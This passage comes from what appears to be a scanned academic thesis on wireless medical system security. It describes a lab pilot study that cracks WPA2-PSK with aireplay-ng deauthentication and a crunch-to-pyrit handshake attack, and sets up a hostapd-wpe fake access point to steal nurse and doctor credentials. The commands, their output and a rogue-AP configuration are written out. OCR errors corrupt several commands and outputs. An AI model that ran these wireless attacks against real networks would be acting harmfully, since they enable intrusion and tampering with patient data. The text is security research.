glucose level) after logging to the web interface of patient database (OpenEMR)
of the WMedSys by using the credentials of a doctor obtained from previous steps
(as stated in the Scenario 1 of Section 8.).

Figure 7.14 summarises the steps or procedures used to compromise
WPAZ2-PSK by using different tools such as Airmon-ng, Airodump-ng, Aireplay-
ng and Aircrack-ng. Similarly, WMedSys system using WPA2-PSK can also be

126



compromised by using other tools and techniques. One of the most powerful tools

to carry out wireless attacks against widely used security protocols is Pyrit.

=
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Figure 7.14: Procedures used to compromise WPA2-PSK

In summary the following steps are used to compromise WMedSys by Pyrit from

Kali Linux running on the attacker’s computer.

Step 1 to Step 4: The initial steps for conducting WPA2-PSK attack by using
Pyrit are the same as using aforementioned Aircrack-ng tool.

Step 5: In this step, the Pyrit tool was run by using the following command to

capture the wireless traffic (Figure 7.15).

Figure 7.15: Capturing the wireless traffic with Pyrit tool
Step 6: Similar to Steps 5 and 6 in the previous attack by using Aircrack-ng, the
de-authentication attack was carried out by using the “Aireplay-ng” tool (Figure

7.16).
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:~# aireplay-ng -0 5 -a OE:18:D6:2D:AB:0C -c EB8:94:F6:27:B2:54 wlanGmon

4 directed DeAuth. :B2:54]
irected DeAuth. :B2:54]

Waiting for beacon frame (BSSID: GE:18:D6 ) on channel 11
STMAC: [E8:94

ected DeAuth. S : :B2:54]
jirected DeAuth. :9 54] [70|73 ACKs]
directed DeAuth. STMAC: :94:F6:27:B2:54] [66|64 ACKs]

Figure 7.16: De-authentication by using Aireplay-ng tool
Step 7: Finally, the captured packet file “wpspsk.cap” located in the folder,
“/root/testAP/” was attacked by using the Pyrit tool without creating the
customised password list. As shown in Figure 7.17, the password (ShArK_2016)
was obtained. By using the cracked password, the attacker could carry out further
attacks in WMedSys. The next sub-section will explain the steps required to crack
WPAZ2-Enterprise in WMedSys.

:~# crunch 10 10 -f /usr/share/rainbowcrack/charset.txt mixalpha-numeric -t S@EE@_2016 | pyrit -r
/root/testAP/wpspsk.cap -b OE:18:D6:2D:AB:0C -i - attack_passthrough
Crunch will now generate the following amount of data: 162539696 bytes

Crunch will now generate the following number of lines: 14776336
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Parsing file '/root/testAP/wpspsk.cap' (1/1)...
Parsed 14 packets (14 802.11-packets), got 11 AP(s)

Tried 1800090 PMKs so far; 4919 PMKs per second.

The password is 'ShArK 2016'.

Figure 7.17: Cracking password by using Pyrit Tool
7.6 SCENARIO TESTS

The Pilot study has confirmed some of the security vulnerabilities identified in the
literature review. Although not all could be tested in the time available, the results
are indicative of serious vulnerabilities inherited by WMedSys from the current
state of real wireless technologies. The Scenario tests will now proceed to test the
forensic ready framework (Figure 6.15) and to identify any areas for improvement.
All testing has learning feedback loops and the information will be collected for
analysis. The Scenario 2 is similar to Scenario 1 that is a documented example of
the fictitious case of a patient admitted to hospital and who experienced harmful

events. It is a Joe Doe case that represents information taken from many reports.

Similar to the first scenario, John Lauren was admitted to a hospital in
order to control his blood glucose level. The patient’s data is manipulated from
the backend server (OpenEMR) by a hacker. However, the WMedSys in this
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scenario is based on WPAZ2-Enterprise (WPAZ2-EAP), where users are
authenticated by using RADIUS and AD database (SSID of WLAN for WMedSys
was MyWiFi) (see Figure 7.18). The way in which legitimate users are
authenticated against the RADIUS server is stated and described in Chapter 4.
After getting the credentials of the WMedSys user (a nurse whose login username
is nurse007), the malicious attacker amended the patient’s physiological data (the

blood glucose level).
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Figure 7.18: Man-in-the-Middle attack on a WMedSys using WPA2-Enterprise
The test was set up to run Kali Linux 2.0 version running with two wireless NICs
on the attacker’s computer, one NIC was used for monitoring (wlanl) and the
other (wlanO) was deployed for running a Fake AP. All the software packages
were also installed and updated on the attacker’s computer. For instance, packages
for OpenSSL and the certificate for authentication were installed in addition to
updating all necessary library packages. Similarly, the source list file, located in
letc/apt/sources.list, has to be updated. Figure 7.19 shows the library updates for

the “hostapd-wpe” Configuration File.
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# wlan Interface
interface=wlanl

#SSID, 802.11 mode and Channel information
ssid=TEST_EAP

hw_mode=g

channel=6

# WPA version of WAP under attack should be changed
eap_server=1
eap_fast_a_id=101112131415161718191alblcldlelf
eap_fast_a_id_info=hostapd-wpe

eap_fast_prov=3

ieee8021x=1

pac_key_lifetime=604800
pac_key_refresh_time=86400
pac_opaque_encr_key=000102030405060708090a0b0c0d0e0f
wpa=1

wpa_key_mgmt=WPA-EAP

wpa_pairwise=TKIP CCMP

Figure 7.19: Changes in “hostapd-wpe” configuration file

The procedures to compromise a WMedSys that utilises WPA2-Enterprise by
commonly used off-the-shelf tools are summarised in the following steps.

Step 1: The initial step is to download and install “hostapd-wpe” package, which
is used to carry out the impersonation attack for getting login credentials of the
staff (doctor or nurse). In fact, this toolset allows an attacker to perform
impersonation attacks against WPA2-Enterprise.

Step 2: In this step, the attacker runs the “ifconfig” command in order to note

down details of the wireless NICs (including the name).

root@kali: ~ @ @0

File Edit View Search Terminal Help
GNU nano 2.2.6

File: /etc/apt/sources.list

# deb cdrom: [Debian GNU/Linux 2.0 Sana_ - Official Snapshot amd64 LIVE/INSTALL$
#deb cdrom: [Debian GNU/Linux 2.0 _Sana_ - Official Snapshot amd64 LIVE/INSTALL $

li-security/
li-security/

Figure 7.20: Updatingsource list file
Step 3: Similar to Steps 1 and 2 (in conducting WPA2-PSK attack), Airmon-ng

tool is run by using the “airmon-ng start wlan1” command to start the wlanl NIC

interface for sniffing the wireless traffic. Any processes that could cause problems
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should be killed. In addition, MAC addresses of wlan0 and wlanl are changed to
set new random vendor MAC addresses of the same kind (Figure 7.20).

Step 4: The “Airodump-ng —M wlanlmon” command was used to capture the
wireless traffic in the air to obtain the critical information such as BSSID, ESSID,
etc., mentioned in Step 3 of WPA2-PSK attack.

Step 5: After getting the detailed information about BSSID, ESSID, the channel
used, the type of WPA and WPA versions; the Airodump-ng tool is used again to
capture the authentication handshake. The command used in this step is
“Airodump-ng —C 6 -- bssid 00:26:5A:F2:57:2B wlanlmon” (similar to Step 4 of
WPAZ2-PSK attack). After making changes, the configuration file should be saved
and the “hostapd-wpe” is run with the modified configuration file.

Step 6: In this step, the configuration file of “hostapd-wpe” should be opened
with “nano” text editor and modified with the information gathered in Step 4,
which is the information related to the WAP under attack, such as NIC interfaces
for monitoring and running the Fake AP.

Step 7: The running terminal of Airodump-ng (Step 5) should be terminated.
Then, a new terminal should be opened for running the “Aireplay-ng” tool to
perform de-authentication attack. The command used for such attack is as follow
in Figure 7.21.

root@kali:~# aireplay-ng -0 5 -a 